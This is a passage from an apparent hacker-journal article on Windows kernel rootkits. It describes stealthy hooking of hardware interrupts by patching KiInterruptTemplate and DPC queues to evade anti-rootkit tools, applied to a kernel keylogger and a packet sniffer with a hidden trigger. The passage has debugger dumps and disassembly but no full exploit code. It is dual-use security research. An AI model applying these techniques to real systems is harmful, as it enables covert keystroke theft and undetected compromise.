After came more advanced ring0 rk like FU [5], written by Fuzen_op and its
improvement FUto published in the famous technical journal Uninformed [6].
Vista improvement on driver verification introduces new rootkits mostly
based on hardware features. Like BootRoot [7] and Pixie [8] by Eeye 
loaded before any protection. Finally Joanna Rutkowska with her Blue 
Pill [9] used virtualization technology to create layer between the 
operating system and the hardware.

In the wild the rk are used most of the time for lame mail spamming or 
botnets. They often use old techniques but some of them are interesting 
like Rustock [10] series or StormWorm [11] and the MBR rootkit [12]. They 
implement a lot of tricks as ADS (Alternate Data Stream), code obfuscation,
anti-debug, anti-VM or polymorphic code. The goal is not only subverting
the kernel but also slow down their analysis and make them harder to
defeat. 
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Even if the technology used by rootkits are more and more sophisticated, 
the underground community is still developing POCs to improve current 
techniques. Unreal [13] and AK992 [14] are both great examples. The first 
uses an ADS and a NTFS MajorFunctions hooking to hide itself, the second 
checks IRP completion when sended to disk’s devices. You can find plenty 
examples of rootkit techniques on rootkit.com.

Finally, this part would not be complete if we don’t speak about anti-rk. 
The most famous is Rk Unhooker by MP_ART & EP_X0FF and their team UG North.
Others anti-rk are DarkSpy [15] by CardMagic, IceSword [16] by pjf and 
Gmer [17].

----[ 1.2 - About kernel level protections

When we talk about protection, we must notice where the protection takes
place into the system. A protection has an advantage on an attack only 
if it operates from a higher level. Protections like PaX or Exec Shield 
are efficient because they protecting userland from kernel.

Protections like PatchGuard and other HIPS also protect the system 
integrity but as far as an attacker can find a way to attack those 
protections at their own level they will be useless. A protection is 
reliable only if it can’t be corrupted by an attacker. Assuming an 
attacker find a way to inject code into the protection and you can 
consider that your b0x is dead.

That’s why PatchGuard isn’t so efficient [18]. But we know that disabling
or destroying a protection is very noisy. No, the best way is to fly under 
the radar by working with special objects and events that cannot be 
checked because of their volatility.

In June 2006, Greg Hoglund presented the concept of KOH (Kernel Object 
Hooking) [19]. A new way of detouring code execution, you don’t have to 
modify static code section but rather you work on dynamic allocated 
structures/codes like DPC (Deferred Procedure Calls). For protections,
it’s hard to find and verify those areas due to their instabilities. 

Others cool objects are IRP. They are the object used by the Windows 
kernel I/O manager to communicate with devices. Each I/O operation on 
hardware generates an IRP, sycalls send IRP to a driver through his 
device. In general a driver owns several devices; one of them is used to 
communique with the userland by using IOCTL and others devices are 
managing IRP by filtering them or performing a requested task. 
IRP are sent to a driver using its MajorFunctions table. This table 
includes the different functionalities provided by the driver. You can 
check the result returned by a MajorFunction by installing a completion 
routine on an IRP. They are very volatile objects; controlling and 
checking them is very hard. 

In fact, if you want to check everything you would need to completely 
redesign operating system architecture. So keep in mind that protection 
cannot be everywhere at every time and we will demonstrate it in the 
following parts.

----[ 1.3 - Concept key: use kernel code against itself

The idea behind this paper is exploiting kernel code. Exploitation is 
possible because input defines code behavior. Submitting a crafted input 
to a vulnerable software can leads into code execution. Dangerous input is
of course defined by your target. Kernel space contains more exploitation 
scenarios because you can change its environment. A rootkit can not 
change basic inputs as arguments. But it can change the environment around 
a code. Heap exploitation techniques such as unlinking is a perfect 
example. By changing a memory block structure, you are able to overwrite 
4 bytes. Some techniques can even change next allocated block address [20].
It does work because a program trusts those information. In kernel, you 
have a total control on the environment. Also completely checking the 
kernel is bad for performance and totally impossible.

Changing code environment has been used successfully for the phide2 
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rootkit [21] technique. This rootkit can hide threads without hooking 
Windows scheduler which is impressive. As it relies on code behavior, it 
needs strong reverse knowledge. It extends this concept into unknown 
operating system behaviors. Generic protections are based on generic 
assumptions. Such as checking only driver images for code hooks. These 
days operating systems design is against those protections and requires 
advanced software rootkit techniques.

---[ 2 - Introducing stealth hooking on IDT

Let’s introduce our concept about stealth hooking with an example based on 
IDT. First we will see what is the IDT and its purpose. Then we will 
discuss about hardware interrupts and how Windows deals with them. 

IDT (Interrupt Descriptor Table) is a CPU specific linear table localized 
in kernel-land. IDT can be read with ring3 privilege level but you must
have ring0 privilege if you want to write into it. IDT is composed of 256 
entries of KIDTENTRY structures and you can use the Kernel Debugger (KD) 
included into the Debugging Tools for Windows [22] to see the definition
of an IDT entry.

kd> dt nt!_KIDTENTRY
   +0x000 Offset           : Uint2B
   +0x002 Selector         : Uint2B
   +0x004 Access           : Uint2B
   +0x006 ExtendedOffset   : Uint2B

Here we don’t want to (re)explain the architecture of the IDT so we advise
you to read Kad’s paper published in Phrack 59 about IDT and about how it 
works [23].

The first 32 entries of IDT are reserved by the CPU for exceptions. Others
are use to handle hardware interrupts and special system events.

Here is a dump of the first 64 entries of the Windows’ IDT.
 
kd> !idt -a
Dumping IDT:

00: 804df350 nt!KiTrap00
01: 804df4cb nt!KiTrap01
02: Task Selector = 0x0058
03: 804df89d nt!KiTrap03
04: 804dfa20 nt!KiTrap04
05: 804dfb81 nt!KiTrap05
06: 804dfd02 nt!KiTrap06
07: 804e036a nt!KiTrap07
08: Task Selector = 0x0050
09: 804e078f nt!KiTrap09
0a: 804e08ac nt!KiTrap0A
0b: 804e09e9 nt!KiTrap0B
0c: 804e0c42 nt!KiTrap0C
0d: 804e0f38 nt!KiTrap0D
0e: 804e164f nt!KiTrap0E
0f: 804e197c nt!KiTrap0F
10: 804e1a99 nt!KiTrap10
11: 804e1bce nt!KiTrap11
12: 804e197c nt!KiTrap0F
13: 804e1d34 nt!KiTrap13
14: 804e197c nt!KiTrap0F
15: 804e197c nt!KiTrap0F
16: 804e197c nt!KiTrap0F
17: 804e197c nt!KiTrap0F
18: 804e197c nt!KiTrap0F
19: 804e197c nt!KiTrap0F
1a: 804e197c nt!KiTrap0F
1b: 804e197c nt!KiTrap0F
1c: 804e197c nt!KiTrap0F
1d: 804e197c nt!KiTrap0F
1e: 804e197c nt!KiTrap0F
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1f: 804e197c nt!KiTrap0F

20: 00000000 
21: 00000000 
22: 00000000 
23: 00000000 
24: 00000000 
25: 00000000 
26: 00000000 
27: 00000000 
28: 00000000 
29: 00000000 
2a: 804deb92 nt!KiGetTickCount
2b: 804dec95 nt!KiCallbackReturn
2c: 804dee34 nt!KiSetLowWaitHighThread
2d: 804df77c nt!KiDebugService
2e: 804de631 nt!KiSystemService
2f: 804e197c nt!KiTrap0F
30: 806f3d48 hal!HalpClockInterrupt
31: 80dd816c i8042prt!I8042KeyboardInterruptService (KINTERRUPT 80dd8130)
32: 804ddd04 nt!KiUnexpectedInterrupt2
33: 80dd3224 serial!SerialCIsrSw (KINTERRUPT 80dd31e8)
34: 804ddd18 nt!KiUnexpectedInterrupt4
35: 804ddd22 nt!KiUnexpectedInterrupt5
36: 804ddd2c nt!KiUnexpectedInterrupt6
37: 804ddd36 nt!KiUnexpectedInterrupt7
38: 806edef0 hal!HalpProfileInterrupt
39: 80f0827c ACPI!ACPIInterruptServiceRoutine (KINTERRUPT 80f08240)
3a: 80dc67cc vmsrvc+0x1C16 (KINTERRUPT 80dc6790)
3b: 80df6414 NDIS!ndisMIsr (KINTERRUPT 80df63d8)
3c: 80de040c i8042prt!I8042MouseInterruptService (KINTERRUPT 80de03d0)
3d: 804ddd72 nt!KiUnexpectedInterrupt13
3e: 80ed78a4 atapi!IdePortInterrupt (KINTERRUPT 80ed7868)
3f: 80f01dd4 atapi!IdePortInterrupt (KINTERRUPT 80f01d98)
40: 804ddd90 nt!KiUnexpectedInterrupt16
[...]

This dump represents a typical Windows IDT, you can see the IDT entries 
index followed by the address of the handler and this name. The first 32 
entries are filled by KiTrap* functions that manage exceptions. The rest 
of the table is left to the system, you can see specials system interrupts 
like KiSystemService and KiCallbackReturn and handlers used by drivers 
like I8042KeyboardInterruptService or I8042MouseInterruptService.

----[ 2.1 - How Windows manage hardware interrupts 

When we talk about interrupts we must introduce the concept of IRQL 
(Interrupt ReQuest Level). The kernel represents IRQLs internally as a 
number from 0 through 31 on x86 with higher numbers representing higher 
priority interrupts. Although the kernel defines the standard set of IRQLs 
for software interrupts, the HAL (Hardware Abstraction Layer) maps 
hardware interrupt numbers to the IRQLs.

   +----------------+
31 |    Highests    | \
to |    IRQLs       | | Clock, system failure.
27 |                | /
   +----------------+
26 |                | \
to |  DEVICE_IRQL   | | Hardware interrupts.          
3  |                | /
   +----------------+
2  | DISPATCH_LEVEL | Scheduler, DPC.
   +----------------+ 
1  |    APC_LEVEL   | Used when dispatching APC.
   +----------------+ 
0  |  PASSIVE_LEVEL | Threads run at this IRQL. 
   +----------------+    
   
Each processor has its own IRQL. You can have a core running at an IRQL=
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DISPATCH_LEVEL whereas another is running at PASSIVE_LEVEL. In fact IRQL
represents the "mask ability" of the current running code. Interrupts from 
a source with an IRQL above the current level interrupt the processor, 
whereas interrupts from sources with IRQLs equal to or below the current 
level are masked until an executing thread decrease the IRQL.

Some system components are not accessible when code is running at 
IRQL>=DISPATH_LEVEL. Accessing to paged memory (memory which can be 
swapped on disk) is impossible and lots of kernel functions cannot be used.

Hardware interrupts are asynchronous and reached by external peripherals. 
For example when you hit a key, your keyboard device sends an IRQ 
(Interrupt ReQuest) routed by the Southbridge [24] on your interrupt 
controller through the Northbridge [25]. The Southbridge is a chip that can
be described like a I/O controller hub. This chip receives all the I/O 
externals interrupt and send them to the Northbridge. The Northbridge is
directly connected to your memory and high speed graphic bus also to your 
CPU. This chip is also known as the memory controller hub.

On most x86 systems we find a chipset called i82489, Advanced Programmable 
Interrupt Controller (APIC). The APIC is composed by 2 main components, a 
I/O APIC, one per CPU, and a LAPIC (Local APIC) on each core. I/O APIC 
uses a routing algorithm to dispatch an interrupt on the best adapted core.
According to the principle of locality, I/O APIC will deliver the device 
interrupt on the core which handled it the previous time [26].

After this LAPIC translates the IRQ to an 8-bits value, an interrupt 
vector. This interrupt vector represents IDT’s entry index associated with 
the handler. When the core is ready to handle the interrupt, its 
instruction flow is redirected on the IDT entry. 

   IDT            IDT            IDT           IDT 
    1              2              3             4 
  +---+          +---+          +---+         +---+         
  |   |          |   |          |   |         |   |
  |---|          |---|          |---|         |---|
  |   |          |   |          |   |         |   |
  |---|          |---|          |---|         |---|
  |   |          |   |          |   |         |   |
  +---+          +---+          +---+         +---+    
    |              |              |             |
+--------+     +--------+     +--------+    +--------+
|        |     |        |     |        |    |        | 
| core 1 |     | core 2 |     | core 3 |    | core 4 |
|        |     |        |     |        |    |        |
+--------+     +--------+     +--------+    +--------+ 
| LAPIC  |     | LAPIC  |     | LAPIC  |    | LAPIC  |
+---+----+     +---+----+     +---+----+    +---+----+
    |              |              |             |   
    |              |              |             |
<---+--------------+------+-------+-------------+-----> 
               Interrupt  |         Processor system bus
                Messages  |
                          |
                          |
    External       +------+------+
    Interrupts     |             |
    --------------->   I/O APIC  |  
                   |             |
                   +-------------+

-----[ 2.3.1 Hardware interrupts dispatching on Windows                 
                   
On Windows, the interrupt handler isn’t executed immediately, there is a 
code template first. This template is implemented in the function 
KiInterruptTemplate and does two things. First, it saves the current 
core state in the stack and dispatches code flow to the right "interrupt 
dispatcher".

When a interrupt is raised, after the core status core is saved, code flow 
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is transferred to the interrupt handler as defined in the IDT. In fact 
each interrupt handler in the IDT points to a KiInterruptTemplate 
routine [27]. KiInterruptTemplate will call KiInterruptDispatch which 
performs the following operations :

- Acquire the service routine spinlock.

- Raise IRQL to DEVICE_IRQL, the IRQL of a given interrupt vector is 
calculated by subtracting the interrupt vector from 27d.

- Call the interrupt handler, an ISR (Interrupt Service Routine).

- Lower IRQL.

- Release the service routine spinlock.

For example, the keyboard device ISR is I8042KeyboardInterruptService. 
ISR are routines for handling interrupts like top-halves in the linux 
kernel. According to the WDK (Windows Driver Kit), the ISR must do 
whatever is appropriate to the device to dismiss the interrupt. Then, it 
should do only what is necessary to save stage and queue a DPC. It means it
interruption management will take place on a lower IRQL than during ISR
execution. The I/O processing is done into the DPC.

DPC (Deferred Procedure Call) are equivalent of bottom-halves in linux. 
DPC works at IRQL DISPATCH_LEVEL, lower than the ISR’s IRQL. In fact the 
ISR will queue a DPC to process the entire interrupt at a lower IRQL in 
order to avoid the core preemption taking too much time. For the keyboard 
the DPC is I8042KeyboardIsrDpc. Here a figure to sum up the interrupt 
processing :

                                              +-------------------------+
Hardware Interrupt                       /----> Here we are at          |  
       |                                 |    | IRQL=DEVICE_LEVEL       |
       |                                 |    | The KiInterruptDispatch |
       /---> IDT ---\                    |    | routine calls the ISR.  |
                    |                    |    |                         |
                    |                    |    | ISR handles interrupt   |
            +-----------------------+    |    | and queue a DPC for     |
            |  KiInterruptTemplate ------/    | later processing        |
            +-----------------------+         |                         |
                                              +-------------------------+
                                              
KiInterruptDispatch receives one main argument from KiInterruptTemplate, 
a pointer to an interrupt object stored in the EDI register. Interrupt
objects are defined by a KINTERRUPT structure :

kd> dt nt!_KINTERRUPT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 InterruptListEntry : _LIST_ENTRY
   +0x00c ServiceRoutine   : Ptr32     unsigned char 
   +0x010 ServiceContext   : Ptr32 Void
   +0x014 SpinLock         : Uint4B
   +0x018 TickCount        : Uint4B
   +0x01c ActualLock       : Ptr32 Uint4B
   +0x020 DispatchAddress  : Ptr32     void 
   +0x024 Vector           : Uint4B
   +0x028 Irql             : UChar
   +0x029 SynchronizeIrql  : UChar
   +0x02a FloatingSave     : UChar
   +0x02b Connected        : UChar
   +0x02c Number           : Char
   +0x02d ShareVector      : UChar
   +0x030 Mode             : _KINTERRUPT_MODE
   +0x034 ServiceCount     : Uint4B
   +0x038 DispatchCount    : Uint4B
   +0x03c DispatchCode     : [106] Uint4B

We retrieve in this structure, the SpinLock and the ServiceRoutine. Notice 
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that SynchronizeIrql contains the IRQL when the ISR will be executed.

For each entry in the IDT which handles a hardware interrupt, the 
KiInterruptTemplate is contained in the DispatchCode table of the 
KINTERRUPT structure. 
 
For the keyboard device we have this KINTERRUPT :

kd> dt nt!_KINTERRUPT 80dd8130
   +0x000 Type             : 22
   +0x002 Size             : 484
   +0x004 InterruptListEntry : _LIST_ENTRY [ 0x80dd8134 - 0x80dd8134 ]
   +0x00c ServiceRoutine   : 0xfa815495     unsigned char  
   ->i8042prt!I8042KeyboardInterruptService+0
   +0x010 ServiceContext   : 0x80e2ec88 
   +0x014 SpinLock         : 0
   +0x018 TickCount        : 0xffffffff
   +0x01c ActualLock       : 0x80e2ed48  -> 0
   +0x020 DispatchAddress  : 0x804da8d8     void  nt!KiInterruptDispatch+0
   +0x024 Vector           : 0x31
   +0x028 Irql             : 0x1a ’’
   +0x029 SynchronizeIrql  : 0x1a ’’
   +0x02a FloatingSave     : 0 ’’
   +0x02b Connected        : 0x1 ’’
   +0x02c Number           : 0 ’’
   +0x02d ShareVector      : 0 ’’
   +0x030 Mode             : 1 ( Latched )
   +0x034 ServiceCount     : 0
   +0x038 DispatchCount    : 0xffffffff
   +0x03c DispatchCode     : [106] 0x56535554

Let’s have a look at the beginning of KiInterruptTemplate :

nt!KiInterruptTemplate:
804da972 54              push    esp
804da973 55              push    ebp
804da974 53              push    ebx
804da975 56              push    esi
804da976 57              push    edi
804da977 83ec54          sub     esp,54h
804da97a 8bec            mov     ebp,esp
804da97c 89442444        mov     dword ptr [esp+44h],eax
804da980 894c2440        mov     dword ptr [esp+40h],ecx
804da984 8954243c        mov     dword ptr [esp+3Ch],edx
804da988 f744247000000200 test    dword ptr [esp+70h],20000h
804da990 0f852a010000    jne     nt!V86_kit_a (804daac0)
804da996 66837c246c08    cmp     word ptr [esp+6Ch],8
804da99c 7423            je      nt!KiInterruptTemplate+0x4f (804da9c1)
804da99e 8c642450        mov     word ptr [esp+50h],fs
804da9a2 8c5c2438        mov     word ptr [esp+38h],ds
804da9a6 8c442434        mov     word ptr [esp+34h],es
804da9aa 8c6c2430        mov     word ptr [esp+30h],gs
804da9ae bb30000000      mov     ebx,30h
804da9b3 b823000000      mov     eax,23h
804da9b8 668ee3          mov     fs,bx
804da9bb 668ed8          mov     ds,ax
804da9be 668ec0          mov     es,ax
804da9c1 648b1d00000000  mov     ebx,dword ptr fs:[0]
804da9c8 64c70500000000ffffffff mov dword ptr fs:[0],0FFFFFFFFh
804da9d3 895c244c        mov     dword ptr [esp+4Ch],ebx
804da9d7 81fc00000100    cmp     esp,10000h
804da9dd 0f82b5000000    jb      nt!Abios_kit_a (804daa98)
804da9e3 c744246400000000 mov     dword ptr [esp+64h],0
804da9eb fc              cld
804da9ec 8b5d60          mov     ebx,dword ptr [ebp+60h]
804da9ef 8b7d68          mov     edi,dword ptr [ebp+68h]
804da9f2 89550c          mov     dword ptr [ebp+0Ch],edx
804da9f5 c74508000ddbba  mov     dword ptr [ebp+8],0BADB0D00h
804da9fc 895d00          mov     dword ptr [ebp],ebx
804da9ff 897d04          mov     dword ptr [ebp+4],edi
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804daa02 f60550f0dfffff  test    byte ptr ds:[0FFDFF050h],0FFh
804daa09 750d            jne     nt!Dr_kit_a (804daa18)

nt!KiInterruptTemplate2ndDispatch:
804daa0b bf00000000      mov     edi,0
nt!KiInterruptTemplateObject:
804daa10 e9c3fcffff      jmp     nt!KeSynchronizeExecution+0x2 (804da6d8)
[...]

Remember, this code is unique for each KINTERRUPT. We said before that 
KiInterruptDispatch receives its arguments from the EDI register (a 
pointer to the KINTERRUPT of the interrupt). In the KiInterruptTemplate 
we can see this little code :

[...] 
nt!KiInterruptTemplate2ndDispatch:
804daa0b bf00000000      mov     edi,0
nt!KiInterruptTemplateObject:
804daa10 e9c3fcffff      jmp     nt!KeSynchronizeExecution+0x2 (804da6d8)
[...] 

Here we have a mov "edi, 0" and a jmp, but if we look at the 
KiInterruptTemplate code contained in the keyboard’s KINTERRUPT we have :

ffb72525 bf5024b7ff      mov     edi,0FFB72450h ; Keyboard KINTERRUPT
ffb7252a e9a9839680      jmp     nt!KiInterruptDispatch (804da8d8)

Wow, instructions are modified! The kernel will dynamically changes those 
2 instructions in the KiInterruptTemplate code. In EDI we find the 
KINTERRUPT object and the jmp branch on KiInterruptDispatch.

Why this implementation ? Because we can easily change the dispatch 
handler. Even if we often have the KiInterruptDispatch we can find 
KiFloatingDispatch or KiChainDispatch. KiChainedDispatch is for vectors 
shared among multiple interrupt objects and KiFloatingDispatch is like 
KiInterruptDispatch, but it saves the floating core state too. 

Windows provides APIs for connecting interrupts on IDT. IoConnectInterrupt 
and IoConnectInterruptEx, according to the WDK :

NTSTATUS 
  IoConnectInterrupt(
    OUT PKINTERRUPT  *InterruptObject,
    IN PKSERVICE_ROUTINE  ServiceRoutine,
    IN PVOID  ServiceContext,
    IN PKSPIN_LOCK  SpinLock  OPTIONAL,
    IN ULONG  Vector,
    IN KIRQL  Irql,
    IN KIRQL  SynchronizeIrql,
    IN KINTERRUPT_MODE    InterruptMode,
    IN BOOLEAN  ShareVector,
    IN KAFFINITY  ProcessorEnableMask,
    IN BOOLEAN  FloatingSave
    );

As you can see IoConnectInterrupt returns in the InterruptObject parameter 
a KINTERRUPT structure, the same that we retrieve in the IDT. Previously
you have seen in the KiInterruptTemplate two labels, 
KiInterruptTemplateObject and KiInterruptTemplate2ndDispatch. Those two 
labels are used by kernel function to find the two instructions in the 
KiInterruptTemplateRoutine. KeInitializeInterrupt uses the
KiInterruptTemplateObject label to update the "jmp Ki*Dispatch" and the
KiConnectVectorAndInterruptObject function uses 
KiInterruptTemplate2ndDispatch to modify the "mov edi, <&Kinterrupt>".

-----[ 2.3.2 Hooking hardware IDT like a ninja 

Now, think about this. We want to hook the IDT in a stealth way, we know 
that replacing an entry directly is not the best solution. Anti-rooktits 
don’t check the dynamically allocated KiInterruptTemplate routine. So we 
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can modify this routine as we wish. There are three possible ways :

- Redirect the "jmp Ki*Dispatch" on our dispatch routine, we have to code 
our dispatch routine, not so hard. 

- Change the kinterrupt address passed in EDI by the instruction 
"mov edi, <&Kinterrupt>". The new KINTERRUPT will be the same than the 
previous one, only the ServiceRoutine will be modified by us.    

- Create our own KiInterruptTemplate, hard ...

In this paper, we choosed the simplest way. We change the 
"mov edi, <&kinterrupt>" by a "mov edi, <&OurKinterrupt>" and we implement 
our ServiceRoutine. We know that this instruction is followed by a jmp, so 
with a disassembly engine we can retrieve the instruction before the jmp
nt!KiInterruptDispatch and modify it. We must keep in mind, when the 
ServiceRoutine is running, the interrupt is not handled yet and we are 
running at DEVICE_IRQL IRQL. This is not a fair situation, because a 
lot of Windows kernel functions are not accessible. We know, that most 
ISR queued a DPC, so after the ISR has been executed, the last entry in 
the current core DPC queue should contain the DPC routine of our interrupt.

If we want to access data generated by the interrupt we must proceed like 
the ISR. Replacing the original ISR by our own ISR handler is very hard, 
because it depends too much on the hardware device. But we know that the 
real I/O is done by the DPC, so when KiInterruptTemplate will call our 
ServiceRoutine, first we call the original ServiceRoutine and we modify 
the last DPC entry by our. 

DPC are represented by KDPC structures :

kd> dt nt!_KDPC
   +0x000 Type             : Int2B
   +0x002 Number           : UChar
   +0x003 Importance       : UChar
   +0x004 DpcListEntry     : _LIST_ENTRY
   +0x00c DeferredRoutine  : Ptr32     void 
   +0x010 DeferredContext  : Ptr32 Void
   +0x014 SystemArgument1  : Ptr32 Void
   +0x018 SystemArgument2  : Ptr32 Void
   +0x01c Lock             : Ptr32 Uint4B

DPC list can be found in the KPRCB (Kernel Processor Control Region Block)
structure of the current processor. KPRCB is preceded by a KPCR (Kernel 
Processor Control Block) structure which is located at FS:[0x1C] on the 
current processor. KPRCB is a 0x120 bytes from the beginning of the KPCR 
structure.

dt nt!_KPRCB
[...]
   +0x860 DpcListHead      : _LIST_ENTRY
   +0x868 DpcStack         : Ptr32 Void ; DPC arguments
   +0x86c DpcCount         : Uint4B ; DPC core counter
   +0x870 DpcQueueDepth    : Uint4B ; Numbers of DPC in the list
   +0x874 DpcRoutineActive : Uint4B
   +0x878 DpcInterruptRequested : Uint4B
   +0x87c DpcLastCount     : Uint4B
   +0x880 DpcRequestRate   : Uint4B
   +0x884 MaximumDpcQueueDepth : Uint4B
   +0x888 MinimumDpcRate   : Uint4B

Now we know how to retrieve the DPC of our interrupt, we can easily 
change it to our own and handle the data.
   
For the keyboard the DPC is queued by KeInsertQueueDpc in the 
I8xQueueCurrentKeyboardInput routine called by the keyboard’s ISR.
 
kd> dt nt!_KDPC 80e3461c
+0x000 Type             : 19 ; 19=DpcObject
+0x002 Number           : 0 ’’
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+0x003 Importance       : 0x1 ’’
+0x004 DpcListEntry     : _LIST_ENTRY [ 0xffdff980 - 0x80559684 ]
+0x00c DeferredRoutine  : 0xfa815650    void  i8042prt!I8042KeyboardIsrDpc
+0x010 DeferredContext  : 0x80e343b8 
+0x014 SystemArgument1  : (null) 
+0x018 SystemArgument2  : (null) 
+0x01c Lock             : 0xffdff9c0  -> 0

Here is the figure of the attack :

                                            MyKinterrupt structure
                                            +---------------------+
Hardware Interrupt                     /---->  MyServiceRoutine   |
       |                               |    |  Calls the original |
       |                               |    |  ISR             ------\
       \---> IDT ---\                  |    |  And modify the DPC |  |  
                    |                  |    |  queue.             |  |
                    |                  |    +---------------------+  |
            +---------------------+    |                             |
            | KiInterruptTemplate -----/      Original Kinterrupt    |
            +---------------------+         +---------------------+  |
     Core                                   |                     |  |
+------------+                              |   ServiceRoutine <-----/
|            |                              | Queues the ISR’s DPC|
|DpcListHead |--\                           +---------------------+       
|            |  |
+------------+  |
                | +-----+     +-----+     +-----+     +-----+
                \-> DPC |---->| DPC |---->| DPC |---->| DPC |-->DpcListHead
   DpcListHead<---|     |<----|     |<----|     |<----|     |
                  +-----+     +-----+     +-----+     +-----+  
                                                        /\     
                                                        ||
                                                  Last DPC entry
                                                  Modified after the call
                                                  to the ServiceRoutine.
 
-----[ 2.3.3 - Application 1 : Kernel keylogger 

It’s time to design a POC. In this sample we will see how to sniff 
keyboard keystrokes. As you see previously, we are now able to control the
DPC generated by an interrupt. For the keyboard we will hijack the 
I8042KeyboardIsrDpc routine which is set into the DPC’s keyboard 
interruption. With our own DPC handler we will reproduce the behavior of 
the original routine, unfortunately this kind of routine is hard to write 
so we ripped some pieces of codes and used reversing techniques (notice the
lazy hacker style).

In our DPC handler we must call the KeyboardClassServiceCallback [28] 
routine, this routine is provided by the Kbdclass driver. This callback 
transfers input data buffer of a device to the class data queue. A function
keyboard driver must calls this class service callback in its DPC routine.
Here is the KeyboardClassServiceCallback’s prototype :

VOID
  KeyboardClassServiceCallback (
    IN PDEVICE_OBJECT  DeviceObject,
    IN PKEYBOARD_INPUT_DATA  InputDataStart,
    IN PKEYBOARD_INPUT_DATA  InputDataEnd,
    IN OUT PULONG  InputDataConsumed
    );

Parameters :
    DeviceObject : Pointer to the class device object. 
    
    InputDataStart : Pointer to the first keyboard input data packet in 
    the input data buffer of the port device.
    
    InputDataEnd : Pointer to the keyboard input data packet that 
    immediately follows the last data packet in the input data buffer of 
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    the port device.
 
    InputDataConsumed : Pointer to the number of keyboard input data 
    packets that are transferred by the routine.    
    
KEYBOARD_INPUT_DATA is defined by :

typedef struct _KEYBOARD_INPUT_DATA {
  USHORT  UnitId;
  USHORT  MakeCode;
  USHORT  Flags;
  USHORT  Reserved;
  ULONG  ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

So in our DPC handler we just have to check the MakeCode member of the set
of KEYBOARD_INPUT_DATA structures. The MakeCode (or scancode) represents 
the data sent by the keyboard to the system when you hit or release a 
key, each key has it’s own scancode and the system usually translates the 
scancode into a character depending on you code page. For example the 
scancode 19d on classical US keyboard is translated into the keycode ’e’.

In order to know if CAPSLOCK is activated we send an IOCTL to the 
functional keyboard device but we can only send IOCTL at a PASSIVE_LEVEL
IRQL. For that we use a system thread which will sent IOCTL with the 
kernel API IoBuildDeviceIoControlRequest. In fact the scancodes are queued 
in a list locked by a spinlock and thread synchronized with a semaphore. 
The thread is listening to incoming keystrokes then converts scancodes into
keycodes. Like the kernel keylogger Klog does [29]. 

-----[ 2.3.4 - Application 2 : NDIS packet sniffer 

In the same way, an interrupt is raised when your network card receives 
a packet. When this kind of interrupt is raised NDIS ISR handler 
(ndisMIsr) routine launches the miniport ISR interrupt handler. The 
ndisMIsr routine is used as a wrapper for miniport ISR and DPC. You can 
see in the IDT the following entry : 

3b: 80df6414 NDIS!ndisMIsr (KINTERRUPT 80df63d8) 

It means, your ISR handler is not called directly when an interrupt 
occurs, it is the ndisMIsr routine. Miniport’s ISR is called by ndisMIsr 
and the miniport DPC is also queued in this routine. The DPC queued is 
the ndisMDpc routine which wraps your own DPC miniport handler. Finally 
NDIS wraps all the interrupt process with ndisMIsr and ndisMDpc routines on
Windows XP with NDIS 5.1. We don’t know if this implementation is still 
present on Windows Vista with NDIS 6.0.

We know we can hijack the ndisMDpc handler by our own handler. With NDIS
we will proceed in the same way but we will not hook the MiniportDpc 
routine but directly hook the ndisMDpc routine. Why? Because we know that 
ndisMDpc wraps the MiniportDpc routine and in fact MiniportDpc depends too
much on the hardware of the miniport device. Each miniport device is 
represented by an NDIS_MINIPORT_BLOCK [30] structure, in this structure
we find a reference to a NDIS_MINIPORT_INTERRUP structure, which looks 
like :

kd> dt ndis!_NDIS_MINIPORT_INTERRUPT
   +0x000 InterruptObject  : Ptr32 _KINTERRUPT
   +0x004 DpcCountLock     : Uint4B
   +0x008 Reserved         : Ptr32 Void
   +0x00c MiniportIsr      : Ptr32 Void 
   +0x010 MiniportDpc      : Ptr32 Void 
   +0x014 InterruptDpc     : _KDPC
   +0x034 Miniport         : Ptr32 _NDIS_MINIPORT_BLOCK
   +0x038 DpcCount         : UChar
   +0x039 Filler1          : UChar
   +0x03c DpcsCompletedEvent : _KEVENT
   +0x04c SharedInterrupt  : UChar
   +0x04d IsrRequested     : UChar
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If we look at the ndisMDpc routine we notice that only the first parameter
is used and this parameter refers to a NDIS_MINIPORT_INTERRUPT structure.
The ndisMDpc function will call the MiniportDpc field of this structure. 
We just have to hijack this pointer by our routine in order to control the 
incoming packets on the system.

The NDIS documentation specifies that a miniport DPC routine must 
notify the bound protocol driver that an that an array of received 
packets is available by calling the NdisMIndicateReceivePacket function
[31].

VOID
  NdisMIndicateReceivePacket(
    IN NDIS_HANDLE  MiniportAdapterHandle,
    IN PPNDIS_PACKET  ReceivePackets,
    IN UINT  NumberOfPackets
    ); 

In the ndis.h header we have :
#define NdisMIndicateReceivePacket(_H, _P, _N)              \
{                                                           \
    (*((PNDIS_MINIPORT_BLOCK)(_H))->PacketIndicateHandler)( \
                        _H,                                 \
                        _P,                                 \
                        _N);                                \
}

So in our MiniportDpc routine we will hihjack the PacketIndicateHandler, 
which is often the ethFilterDprIndicateReceivePacket routine in the 
NDIS_MINIPORT_BLOCK structure, in order to filter the incoming packets on 
the miniport. After we have hijacked this pointer we call the original 
MiniportDpc routine that will process everything. After that, we restore 
the PacketIndicateHandler handler in the NDIS_MINIPORT_BLOCK for stealth
reasons. To sum up we must :

- Hijack the routine into the DPC queued by the ndisMIsr routine.

- Now that we have hijacked the ndisMDpc we modify the 
PacketIndicateHandler into the NDIS_MINIPORT_BLOCK of the miniport.

- We call the ndisMDpc routine. It will call the original MiniportDpc 
handler

- The MiniportDpc routine calls the NdisMIndicateReceivePacket macro. Our
filter function is called and we do our job.

- When the ndisMDpc returns we restore the original PacketIndicateHandler 
into the NDIS_MINIPORT_BLOCK of the miniport.

With this filter, we can monitor or modify the incoming packets. For 
example, our PacketIndicateHandler hook can search in the incoming packets 
for a tag, when this tag his found the rootkit triggers a function.
               
---[ 2.2 - Conclusion about stealth hooking on IDT

In this part we have seen how Windows manages his hardware interrupts by 
using a global template function dedicated to all interrupts. The fact 
that this template routine his forged for each interrupts is the main 
point of this attack, with that we can create a fake template routine that 
cannot be detected directly. The stealth of our attack remains on two 
points :

- We modify only dynamic allocated and forged code

- We hijack highly temporal dynamic allocated structures which when 
running, are always preempting the core. 

So, even if the scope of our attack is restricted, controlling the hardware
is the best way for a rk to reach critical components. Finally, we have 
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just cheated the system with its own features and that’s the purpose of a 
stealth rootkit.
                
--[ 3 - Owning NonPaged pool using stealth hooking

